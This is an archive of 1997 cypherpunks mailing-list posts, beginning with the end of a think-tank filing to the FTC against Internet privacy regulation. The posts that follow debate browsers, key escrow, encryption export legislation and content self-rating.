Nevertheless, some have used this survey to support
their arguments for federal regulation and
congressional privacy legislation.  Neither of these
would be appropriate responses to consumers' hesitance
towards Internet commerce.  It is the job of companies
operating on the Internet to gain consumer confidence,
not the duty of the government. Indeed, the proper
role for the government is to guard against force,
theft, and fraud.

Property Rights on the Internet

Professor Alan Westin said that web users "are worried
that their e-mail communications may be intercepted,
their visits to web sites can be covertly tracked,
their participation in chat rooms and forums can be
monitored without their consent."   One possible
solution was to give individuals a "property right" in
the information they have released onto the Internet.
 From this follows a call for federal protection of
this "property right" via limits on the collection and
sale of personal data.

The argument that people have a "property right" in
their personal data is ironic, as it comes from those
who would have the government infringe upon the
property rights of both ISPs and companies on the Web.
 We believe that this upside-down conception of
"property" will work against consumers' interests in
freedom of contract and association.

Traditionally, private property rights have been
understood to be the means by which we secure our
privacy, as expressed in the old adage, "A man's home
is his castle." Our system of property rights enables
us to enjoy privacy (i.e. from government intrusion).
 In recent years, however, the basis for legal claims
has become the idea of an  inviolate personhood.  A
"legal right" to information about oneself on the
Internet, as some have advocated, is the next step.
>From this comes the "right" to control information
about oneself after one has already released it.  This
is a step in the wrong direction.

If an individual has released information about
himself in a contractual agreement with certain limits
on it, then he has a right to see that that
information is treated in a certain way.  For example,
if a company web page says that it will not collect
information, and it does, then that is a broken
contract.  On the other hand, if a company says it
will collect all kinds of information, then
privacy-sensitive individuals have been warned and
should avoid that site.  From the examples discussed
at the hearing, it seems that many companies are still
getting used to the way the Internet works, and they
are only beginning to understand the utility of
publishing privacy policies. For example, the New York
Times discovered during the course of the hearings
that it had no published privacy policies on its web
site, a situation it addressed immediately.
Time-Warner's Pathfinder site recently added prominent
links to its privacy policy as well.

Sometimes information has been released to anybody and
everybody, via chat rooms or other forums.  Since this
information becomes part of the knowledge of others,
our "property right" to control this information is
actually a "right" to control the actions of other
people who now have this information.  This is an
infringement upon our basic freedoms of association,
contract, and speech. There is nothing wrong with
collecting information freely placed in public, as
much of this information is.  Nor is there anything
wrong with one party selling information to another
party as long as it was not under fraudulent
circumstances.  If a person objects to this
information being sold, then it is up to the
individual to make alternative arrangements with which
he is more comfortable. .  In other words, protecting
your privacy is your responsibility. That is the value
inherent in the freedom to contract.

Bringing back the original conception of property
rights, as well as freedom of contract, is the best
way of protecting an individual's privacy preferences
on the Internet. Rather than implementing a system of
government regulation of data collection practices,
people should be able to choose whether or not to
contract with a company or otherwise.  Restricting the
downstream actions of others based upon a made-up
right will undercut our other valued freedoms.

On Self-Regulation

We laud the Federal Trade Commission for its cautious
response toward calls to regulate the Internet.  We
are also pleased with the Clinton Administration's
stated intention to refrain from regulating most parts
of the Internet.   We agree in principle that
data-gatherers ought to inform consumers what kinds of
data they are collecting and how that data will be
used.  If it really is true that consumers are highly
concerned about this, then companies scrambling to
sell goods and services over the Internet will
accommodate them. (We also note that there are already
strong incentives for information brokers to ensure
the accuracy of information they collect, since there
is no market for inaccurate information.)

What troubles us is the concept of "self-regulation."
Although the term implies a lack of government
regulation, many of these codes are being developed in
response to a threat of regulation. As the Clinton
Administration's recently released report on Internet
commerce stated, "We believe that private efforts of
industry working in cooperation with consumer groups
are preferable to government regulation, but if
effective privacy protection cannot be provided in
this way, we will reevaluate this policy."   We
believe that the Commission should not use
"self-regulation" as a way to steer the development of
policies on the Internet  without going through the
standard process for proposing regulations.  The
Commission must still defend whatever goals it
proposes.

One component of this "self-regulation" was the
Platform for Privacy Preferences.   This template
would allow consumers to fine-tune their preferences
and allow them to know what sort of policies a web
site has.  This may be a fine idea, and we hope that
if consumers find it acceptable, it will be adopted by
many organizations.

However, we do not believe that a single privacy
standard is necessarily desirable.  There are many
real-world examples of competing standards co-existing
peacefully.   There are different monetary systems,
there are different systems of measurement (English
and metric, Celsius and Fahrenheit), there are
different languages. The Commission should be wary of
backing a single standard for the Internet.

The threat of regulation is nearly as serious as
actual regulation.  It may well be that the solutions
supported by the Commission and the Administration are
the best ones.  It also may be that there is an
alternate solution around the corner, one which we
cannot predict now but one which might be stifled
because it does not match the goals supported by
current government officials.  This could have very
serious ramifications for the future development of
the Internet.  After all, companies already entrenched
in a particular market that ask for regulation often
do so in order to constrain the actions of future
competitors and to derive windfall benefits, a
practice known as "rent-seeking."  If regulation
stymies the growth of the Internet, we will have no
way of knowing what we have given up as a result.

The idea that federal regulation of the Internet is
somehow better than a market solution to privacy
questions is completely unfounded.  Indeed, the
evidence is that federal regulation in every other
sector of American life has had adverse and unforeseen
consequences which end up hurting consumers.   There
is no reason to believe that federal regulation of
privacy practices will be any better than the current
situation, and it may well be worse.

Children and The Internet

The fear over children seeing sexually explicit
materials online led to hasty calls for Internet
censorship in the Communications Decency Act. Yet the
Supreme Court recently struck down the law, ruling
that the Federal government should not be in the
business of trying to protect children with such a
blunt - and patently unconstitutional - instrument.
Similarly, the  rhetoric surrounding the issue of
children's privacy on the Internet has led to hasty
calls for regulation.  Indeed, the Administration has
taken a strong, even ominous position: "This problem
warrants prompt attention.  Otherwise, government
action may be required."

We believe that before the Commission begins to
regulate in the name of children, it should recognize
from the start that today's children are tomorrow's
adults, and that these regulations may restrict their
rights when they are grown up.  The Commission should
be wary of proposals which would effectively treat
adults like children.

The Center for Media Education's report on the privacy
practices of some web sites seemed to shock the
Commission.  Yet we are not sure why the fact that a
toothpaste company which sends a solicited e-mail to a
child in the name of the Tooth Fairy - an e-mail which
contains neither the name of the product being sold
nor the name of the company -is so disturbing,
especially since for many years people have been able
to have letters from Santa Claus sent to children. We
are in fact puzzled as to why similar "information
collection practices" which have gone on for decades
(e.g. children sending box tops away for magic decoder
rings) are suddenly sinister when performed over the
Internet.

We note that CME's primary objection is advertising
itself, and "privacy" is just a means to criticize it.
 For example, one target of CME's outrage is "animated
product spokescharacters," e.g. Tony the Tiger, which
"interact with your children...fostering intimate
relationships that compel your children to buy
specific products and services."   That these
"spokescharacters" also ask children for e-mail
addresses appears to be a slightly less urgent
concern. CME's recommendations to the Commission
include restrictions on the use of these cartoons:
"Product and other fictional figures should not be
used to solicit personally identifiable information
from children."   Indeed, elsewhere CME states
explicitly that "there should be no direct interaction
between children and product spokescharacters"  on web
pages.  This is tantamount to a ban on selected
content simply because of its advertising nature.

This is not the proper forum for a discussion of the
great value of advertising to consumers, and why
advertising is not, and never was, a sinister seducer
of consumers.   We will, however, say that children
are far more skeptical of advertising than CME gives
them credit for.  No matter how much advertising, or
how little, there is, children will still want things
and their parents can still tell them, "No."  In
short, it appears that this issue has very little to
do with privacy on the Internet, and far more to do
with CME's anti-advertising agenda.

Nonetheless, CME did introduce some interesting
issues.   CME looked at the existence and content of
privacy practices on children's web sites, and
publicized them. There is nothing wrong with this;
indeed, if children's privacy is such a high concern
for individuals, then companies will respond (many of
the web sites in question addressed the issue as soon
as it was brought to their attention).  As more and
more people become comfortable with the Internet, and
become aware of its capabilities, we expect to see all
kinds of practices - from content, to advertising, to
data collection - to become more refined in response
to consumer demand.

CME also raised the question of how and when to obtain
verifiable parental consent to collect information
from children. One suggestion was to have parents mail
in a signed form indicating that their child may use
the web page and may divulge certain information.  Not
only would this curtail what is an essentially benign
practice - not even CME can explain what actual harm
might result from this collection - but anyone who has
ever known a child to forge his parent's signature to
play hooky knows that this is not a good solution.

It is an irony of the Internet that the technology
which enables data-gatherers to collect information on
what people look at can easily be thwarted by
Anonymizers and other disguising technologies.  It
still holds true that sometimes on the Internet, as
the famous New Yorker animal cartoon showed, "nobody
knows you're a dog."  Nobody has to know that you are
or are not a child, either.  Obviously, forcing
children to identify themselves as minors, especially
in such a public area as the Internet, would be
unwise.

Consequently, regulations aimed at "protecting
children's privacy" are going to hit adults as well.
For this reason, we urge the Commission to refrain
from drawing up regulations specifically targeted
towards children. Nor should the role of parents be
underestimated or tossed aside in favor of federal
regulation.  Though the Harris/Westin survey showed a
nearly unanimous belief that children's privacy ought
to be protected on the Internet, the survey also said
that not even a plurality of parents have done much to
protect it.  There are a plethora of technologies
available to enable parents to monitor and adjust what
their children see, and more are on the way.  We urge
parents to keep in mind that just as they would think
twice before allowing a child wander around New York
City alone, they should supervise their children on
the Internet.

Conclusion

The Commission is under a great deal of pressure, from
within the government and without, to regulate at
least some parts of the Internet. As more and more
people become Internet users, it is even more
important for the government to refrain from
regulating.  The Commission should confine itself to
policing fraud and investigating any actual injury.


Julie DeFalco on behalf of the Competitive Enterprise
Institute and for the National Consumer Coalition
Endnotes



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 01:36:49 +0800
To: cypherpunks@Algebra.COM
Subject: Will Monolithic Apps Dominate?
In-Reply-To: <Pine.WNT.3.96.970718103337.96A-100000@jadams.seahawk.navy.mil>
Message-ID: <v03102807aff555424d99@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:42 AM -0700 7/18/97, Jim Burnes wrote:

>I've always been an admirer of the HotJava concept, if not the
>execution.  In other words, a dynamically modifiable browser that
>"learns" how to handle new objects on-the-fly.  When I first read
>Gosling's white paper on Java this was the biggest "ahaa!"
>I had.  I believe there is a version that uses Python instead of
...


For a short while after getting my first real Web access, after many years
of shell accounts at Portal, Netcom, etc., I thought Netscape (OK,
"Navigator") would be my Swiss Army Knife of apps. The One True Web App.

As it turned out, I continued using Eudora Pro for e-mail. I'd been using
it since 1992, and it had evolved along with other tools and remained
better than what Netscape had included in Navigator. At least to me it was
better.

And I adopted Newswatcher, a Mac app, for my newsreader.

So all I use Navigator for is Web browsing. Sadly, Navigator 3.0 just about
tripled in footprint, from about 5 MB to about 14 MB (for a relatively
crash-free setup, though it still crashes with "Type 11" memory errors a
couple of times a day). As I can't see any particular advantages to Version
3 over Version 2, except for "dancing Java images," :-{, I'm seriously
considering abandoning 3 and going back to 2.

I'm not at all convinced that monolithic apps like this will do well. A
cluster of smaller apps, provided they have relatively consistent
look-and-feel, as they mostly do, will probably do better for many of us.
Smaller, nimbler apps are harder for government forces to regulate,
influence, and limit.

What does this mean for crypto, certificates, etc.? It means that what
Netscape, Microsoft, and other monolithic app suppliers don't hold all the
cards. What the government forces/cajoles NS and MS to do with
certificates, crypto, Web ratings, could end up helping more users decide
to defect from the monolithic apps to smaller,less constraining apps.

Maybe this is part of why Netscape's stock price is continuing its long
downward slide....

Note to NS and MS employees reading this: If your products become
associated with Big Brother, a lot of people will shun them even further.

(Sidenote: I don't follow the "certificates" debate very closely. What I
think, however, is that I will not be constrained at all in communicating
with my offshore friends securely, regardless of what the government does
with export laws and GAK. Unless they outlaw domestic unescrowed crypto, or
illegalize the communications across U.S. borders with unescrowed crypto,
which seems ipso facto a violation of the First Amendment.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Adams <jadams@seahawk.navy.mil>
Date: Fri, 18 Jul 1997 23:51:58 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>
Message-ID: <Pine.WNT.3.96.970718103337.96A-100000@jadams.seahawk.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Lucky Green wrote:

> Nothing wrong with releasing a GNU browser, but you will find it difficult
> to impossible to match the features of a modern browser such as
> Communicator and MSIE. Some may be happy with Lynx. Myself and most
> consumers will stick with Communicator and MSIE.

Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
it's not GNU (hence not free to *everyone*) but it's out there, and it
works.

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams@seahawk.navy.mil
PGP ID 0x84E18C41 via key server - opinions expressed are entirely my own





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 19 Jul 1997 00:56:10 +0800
To: John Adams <jadams@seahawk.navy.mil>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.WNT.3.96.970718103337.96A-100000@jadams.seahawk.navy.mil>
Message-ID: <Pine.LNX.3.95.970718095513.28674A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 18 Jul 1997, John Adams wrote:

> On Thu, 17 Jul 1997, Lucky Green wrote:
> 
> > Nothing wrong with releasing a GNU browser, but you will find it difficult
> > to impossible to match the features of a modern browser such as
> > Communicator and MSIE. Some may be happy with Lynx. Myself and most
> > consumers will stick with Communicator and MSIE.
> 
> Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
> it's not GNU (hence not free to *everyone*) but it's out there, and it
> works.
> 

I've always been an admirer of the HotJava concept, if not the 
execution.  In other words, a dynamically modifiable browser that
"learns" how to handle new objects on-the-fly.  When I first read
Gosling's white paper on Java this was the biggest "ahaa!"
I had.  I believe there is a version that uses Python instead of
Java, but despite the fact that I admire Python quite a bit
Java definitely has the momentum here.

How hard would it be to implement a Java-based browser that has
most of the goodies that we need from day to day (crypto, tables,
plug-ins, etc)?

Implement this thing like Linux so that we get a core team going
and everybody starts throwing in chunks of code, objects etc.
The first cut of this beast could be minimal and with its
hot extensibility could grow to accomodate anyone's needs.

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 01:56:46 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises" (fwd)
Message-ID: <Pine.GSO.3.95.970718104442.13136a-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 10:40:17 -0700
From: Mike Godwin <mnemonic@well.com>
To: declan@well.com, fight-censorship-announce@vorlon.mit.edu
Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"

At 9:17 AM -0700 7/18/97, Declan McCullagh wrote:
> Which
>is all you'll find at Morton's, where the menu lists a fine
>selection of slabs, all thick, bloody, expensive.

The last three words, of course, are an excellent description of most
Washington politicians.


--Mike




----------------------------------------------------------------------------
We shot a law in _Reno_, just to watch it die.

      Mike Godwin, EFF Staff Counsel, can be reached at mnemonic@eff.org
                   or at his office, 510-548-3290.
----------------------------------------------------------------------------








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 18 Jul 1997 23:22:01 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.LNX.3.93.970717104955.314B-100000@shirley>
Message-ID: <v031107b4aff52c604dfb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:54 am -0400 on 7/18/97, Duncan Frissell wrote:


> But how many divisions does Mr. Bill have?

Let's see...

How much did that trip to see Clinton on Martha's Vinyard cost last year?
The price of a jet flight and luxocondo rent? Whatever campaign / GAK
consideration Mr. Bill gave Clinton/Gore '96 at the time certainly called
off an entire anti-trust action by the Justice Department in a big hurry.
One could say it netted him all Mirosoft stock appreciation since, about
$18 billion, says Forbes this week.

Of course, payback's a bitch, as we're finding out now in the current
campaign to "save our children from the Internet".

To answer your question, Duncan, Mr. Bill could just go to Bill96 and call
up an Army division anywhere he wanted, I bet, but, frankly, he's much more
likely to ask for Microsoft Internet 99 (nee' Internet II) instead.
Complete, of course, with a brand new feature: Book-Entry Routing(tm).

Payback would be a bitch, again, but it's not Mr. Bill who's paying, is it?


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 19 Jul 1997 01:12:36 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.95.970718095513.28674A-100000@westsec.denver.ssds.com>
Message-ID: <Pine.LNX.3.95.970718105837.28674B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 18 Jul 1997, Jim Burnes wrote:

> 
> 
> On Fri, 18 Jul 1997, John Adams wrote:
> 
> > On Thu, 17 Jul 1997, Lucky Green wrote:
> > 
> > > Nothing wrong with releasing a GNU browser, but you will find it difficult
> > > to impossible to match the features of a modern browser such as
> > > Communicator and MSIE. Some may be happy with Lynx. Myself and most
> > > consumers will stick with Communicator and MSIE.
> > 
> > Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
> > it's not GNU (hence not free to *everyone*) but it's out there, and it
> > works.
> > 
> 
> I've always been an admirer of the HotJava concept, if not the 
> execution.  In other words, a dynamically modifiable browser that
> "learns" how to handle new objects on-the-fly.  When I first read
> Gosling's white paper on Java this was the biggest "ahaa!"
> I had.  I believe there is a version that uses Python instead of
> Java, but despite the fact that I admire Python quite a bit
> Java definitely has the momentum here.


Slight correction...there is not a version of HotJava that uses
Python.  I was talking about a different product.

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 19 Jul 1997 01:35:27 +0800
To: cypherpunks@toad.com
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <3.0.2.32.19970718085427.0364b774@panix.com>
Message-ID: <s1m20D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell <frissell@panix.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:
> 
> >When microsoft has more power and money then most goverments I begin to 
> >see no real difference between president Bill gates and any other
> >totalrion dictator.
> 
> But how many divisions does Mr. Bill have?

The pope could beat the shit out of Bill if it was a real
Italian pope and not some dumb polack.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 04:17:25 +0800
To: cypherpunks@toad.com
Subject: Keepers of the keys
Message-ID: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 12:04:56 -0700 (PDT)
From: Joe Shea <joeshea@netcom.com>
To: Declan McCullagh <declan@well.com>
Cc: fight-censorship-announce@vorlon.mit.edu
Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"


	Declan, what would you think if the actual keepers of the keys, 
so to speak, were the courts, such as the Administratoive Office of the 
US Courts?  That would at least seem to reduce a lot of the possible
privacy concerns.  One has the sense that once they get into the hands of 
the varius agencies, they'll get back out.

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea@netcom.com
http://www.newshare.com:9999






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Sat, 19 Jul 1997 05:21:31 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:45 PM 7/18/97 -0700, Declan McCullagh wrote, quoting Joe Shea, for
those of you who can't follow attributions very well:

>	Declan, what would you think if the actual keepers of the keys, 
>so to speak, were the courts, such as the Administratoive Office of the 
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands of 
>the varius agencies, they'll get back out.
>
>Best,
>
>Joe Shea
>Editor-in-Chief
>The American Reporter
>joeshea@netcom.com
>http://www.newshare.com:9999

Judges are human, too. "Agencies don't break the law -- people do". The
next Ames could be a judge on any Federal court. Frankly, I find it mildly
amusing no one has asked the Congressional defenders of key escrow, point
blank, "What safeguards do you have against keys falling into the hands of
the next Ames?" Who watches the watchmen?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 18 Jul 1997 16:03:05 +0800
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <199707180412.XAA09723@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970718133319.604A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, William H. Geiger III wrote:

> Well 90% of the "features" of these browsers are complete crap. I have yet
> to see a web site that did anything constructive with frames and animated
> gifs are compleetly worthless.

I aggry however there are now meany sites that are now only have frame
based interfaces.  When useing when useing lynx I have to decode the
frames manuly.

[...]

> I was thinking more allong the lines of providing a strong, secure GNU
> browser for doing transactions over the net 

So basicly a non-nonsence bussness web-broser.  It would have to be
devloped outside the cyber certion though.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 18 Jul 1997 20:02:26 +0800
To: cypherpunks@toad.com
Subject: spawn of Vulis
Message-ID: <199707181146.NAA24061@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



> FWIW, my 8 y o has his own IBM Aptiva, his own Internet access, his own
> e-mail box, and I exercise absolutely no control over what he reads or
> says on the Internet.


You need to help him set up a pseudonym, Dmitri.  Think about 
10 or 20 years down the road when he wants to get a contract/
join a phyle/avoid an enemy or whatever, and his entire 
childhood e-mail and virtual-community history is greppable via
a 2-second, 2-cent search.  This would give his employers/
partners/competitors/enemies/governments a great deal of 
leverage over him in various ways.  Also it might be very 
embarassing socially, which is no less important.


Get him a pseudonym.  You can always (more or less) claim the 
reputation capital that your pseudonym accumulated, but you can
never (probably) lose history accumulated under your True Name.


Of course he could always change his name/adopt a strong 'nym 
in the future in order to get a clean start, but this might not
be easy, especially since people can find him through you and 
perhaps other of his relatives or friends.


Sincerely,

Zooko Journeynym





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 19 Jul 1997 04:06:05 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-digitaljam-wires-9707-18-encryption_wg-
Message-ID: <199707181933.OAA04074@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Compaq: Outstanding Products, Great New Prices. [INLINE] Digital Jam
   graphic 
   Encryption battle heats up
   
   
   House committee set to vote next
   week on bill that would relax limits
   
   July 18, 1997: 1:38 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   U.S. OKs Netscape exports - June 24, 1997
   
   Encryption bill nears vote - June 4, 1997
   
   
   [IMAGE]
   
   U.S. House of Representatives
   Infoseek search 
   __________
   ____  ____
   WASHINGTON (Reuter) - The battle in Congress over export limits on
   computer encoding technology will heat up again next week as the House
   International Relations Committee is scheduled to vote on a bill to
   dramatically relax the current restrictions.
   [INLINE] The legislation, already approved by the House Judiciary
   Committee, would allow U.S. companies to export powerful encryption
   programs, software which scrambles information and renders it
   unreadable without a password or software "key."
   [INLINE] The International Relations Committee plans to hold a vote on
   July 22 on the bill, authored by Virginia Republican Bob Goodlatte and
   called the Security and Freedom through Encryption Act.
   [INLINE] Once the realm of spies and generals, encryption has become
   increasingly important as a means of securing global communications
   and electronic commerce over the Internet.
   [INLINE] The Clinton administration favors strict controls on
   encryption exports unless the programs allow the government to crack
   the codes by gaining access to the software keys. But many lawmakers
   oppose the limits, which they say hurt U.S. firms while allowing
   foreign companies to gain market share.
   [INLINE] The Goodlatte bill has over 190 co-sponsors, including a
   majority of members of the committee.
   [INLINE] But committee chairman Benjamin Gilman, a New York
   Republican, is strongly opposed and may try to amend the bill to
   retain most export controls, congressional staffers said.
   [INLINE] The substitute amendment could be modeled on encryption
   export provisions in a broader bill in the Senate backed by Arizona
   Republican John McCain and Nebraska Democrat Bob Kerrey, staffers
   said. That bill was approved by the Senate Commerce Committee last
   month, but a bill more similar to Goodlatte's is pending in the Senate
   Judiciary Committee.
   [INLINE] The McCain-Kerrey bill would allow free export of
   medium-strength encryption, with keys up to 56 bits long, and
   establish a board to consider raising the limit in the future. But the
   president would have the authority to overrule the board's decisions
   for reasons of national security.
   [INLINE] The vote in the International Relations Committee could be
   close, some lobbyists said.
   [INLINE] "I think the votes are there to defeat a substitute, but it's
   probably going to be close," said one industry lobbyist who asked not
   to be named.
   [INLINE] The Goodlatte bill would also prohibit mandatory key recovery
   for encryption used within the United States and criminalize the use
   of encryption to hide evidence of a crime. But those provisions are
   outside the International Relations committee's jurisdiction.
   [INLINE] Privacy advocates back the bill, arguing that people need
   unfettered access to strong encryption to protect the privacy of
   personal data, medical records and electronic communications. The
   software industry is also supporting the legislation.
   [INLINE] But FBI director Louis Freeh and other top law enforcement
   officials warn that the proliferation of strong encryption overseas
   will complicate the task of keeping tabs on international criminals
   and terrorists. Link to top 
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 19 Jul 1997 06:35:17 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto implants
Message-ID: <v03102817aff57f01f29b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



[I could find no instance in the cypherpunks archives of this thread.
Forgive me if I've erred.]

As single chip crypto devices are now available (e.g., smart cards) it is
not unreasonable to ask how the implantation of advanced bio-chips may
challenge current notions of civil liberties.

A key US legal assumption of privacy is that one has an unlimited right to
one's thoughts but limited rights to ones ideas reduced to tangible form
and to communications. (The threads regarding the ability of the courts to
cause the a witness to disgorge a crypto key are closely related.)

Another civil liberty is the assumption that one owns and controls one's
body (unless arrested/imprisoned) and the government may not alter or
injure your body. Most citizens and hopefully the courts would find
invasion of this most sacrosanct part of one's being are repugnant.

An implied aspects of the privacy-crypto debate is that
mechanical/electronic devices outside of one's body are required for use of
crypto. But what happens if a person's body is augmented for various
purposes, including data storage, crypto and communications?  Unless a
proven crime were committed via these devices, is it feasible that a person
could be forced to submit to removal of an implant or to disgorge their
data contents?

--Steve


PGP mail preferred, see  http://web.mit.edu/network/pgp.html
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
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Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@techie.com>
Date: Sat, 19 Jul 1997 02:58:00 +0800
To: cypherpunks@toad.com
Subject: 'Thanks for This Important Commitment'
Message-ID: <33CFB9BF.7267@techie.com>
MIME-Version: 1.0
Content-Type: text/plain



'Thanks for This Important Commitment'

                     by Dan Brekke and Rebecca Vesely 
                     6:06pm  17.Jul.97.PDT Some words that came out of
                     President Clinton's mouth the other day signaled
                     that the Web's biggest search and directory
                     services were on board for a major effort to get
                     sites to rate themselves. 

                     "We ... need to encourage every Internet site,
                     whether or not it has material harmful for young
                     people, to label its own content," Clinton said
                     Wednesday at a White House event to announce
                     his new Net self-regulation initiative. "... To
help to
                     speed the labeling process along, several Internet
                     search engines - the Yellow Pages of cyberspace,
                     if you will - will begin to ask that all Web sites
                     label content when applying for a spot in their
                     directories." 

                     And then the self-described techno-idiot went on
                     to thank Yahoo, Excite, and Lycos "for this
                     important commitment." 

                     What the president and most of those who
                     reported the big news missed is that the
                     companies made no such commitment. Calls to
                     Yahoo's PR department minutes after the
                     president spoke for details on what the company
                     would do to get site owners to rate themselves
                     were met with puzzlement. Eventually, callers
                     were pointed to a press release issued in the
                     name of Yahoo, Infoseek, Lycos, and Excite that
                     pledged the companies would do ... almost
                     nothing. 

                     The release announced "an initiative to work
                     together to promote self-regulation of the
Internet."
                     Got that? The statement talked about the
                     importance of the First Amendment and how the
                     directories could make a difference "by making it
                     easy for Web site developers to rate themselves
                     and to identify their sites appropriately." 

                     Regardless of how wide of the mark they were,
                     Clinton's words did make news. And Thursday,
                     some of the directory mavens were trying to clarify
                     things. 

                     A spokeswoman for Excite said the search
                     engines will continue to monitor evolving plans on
